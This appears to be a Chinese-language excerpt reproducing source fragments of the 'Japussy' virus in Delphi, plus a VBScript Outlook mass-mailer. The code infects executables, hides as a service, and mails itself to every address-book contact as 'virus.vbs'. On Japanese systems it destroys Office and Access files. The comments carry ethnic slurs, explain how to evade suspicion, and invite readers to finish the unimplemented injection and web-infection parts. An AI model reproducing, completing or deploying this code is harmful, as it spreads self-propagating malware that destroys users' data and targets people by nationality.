{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), ''Japussy.exe'') = 0 then
    InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + ''.exe''; //真正的宿主文件，多一个空格
    ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, ''.'', Si, Pi); //创建新进程运行之……....Line n+7
    InfectFiles; //感染和发邮件
end;
end.

<--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + '':'', ''*.*''); //感染之
    SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一
end;
end;{ === InfectFiles }

<--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->Set objOA=Wscript.CreateObject（"Outlook.Application"）
''创建一个OUTLOOK应用的对象 
Set objMapi=objOA.GetNameSpace（"MAPI"）
''取得MAPI名字空间 
For i=1 to objMapi.AddressLists.Count
''遍历地址簿 
  Set objAddList=objMapi.AddressLists（i）
  For j=1 To objAddList. AddressEntries.Count
    Set objMail=objOA.CreateItem （0）
    objMail.Recipients.Add （objAddList. AddressEntries （j））
    ''取得收件人邮件地址 
    objMail.Subject="你好!"
    ''设置邮件主题 
    objMail.Body="这次给你的附件，是我的新文档！"
    ''设置信件内容 
    objMail.Attachments.Add（“c:\virus.vbs"） 
    ''把自己作为附件扩散出去
    objMail.Send
    ''发送邮件 
  Next
Next
Set objMapi=Nothing
Set objOA=Nothing

 objMail.Attachments.Add（“c:\virus.vbs"） 

<--
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = ''.EXE'') or (Ext = ''.SCR'') then //Line X
        begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = ''.HTM'') or (Ext = ''.HTML'') or (Ext = ''.ASP'') then
        begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = ''.WAB'' then //Outlook地址簿文件
        begin
//获取Outlook邮件地址
end
else if Ext = ''.ADC'' then //Foxmail地址自动完成文件
        begin
//获取Foxmail邮件地址
end
else if Ext = ''IND'' then //Foxmail地址簿文件
        begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = ''.DOC'') or (Ext = ''.XLS'') or (Ext = ''.MDB'') or
              ……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + ''*.*'', faDirectory, SearchRec) = 0) then
  begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '''', Mask);
  FreeAndNil(SubDir);
end;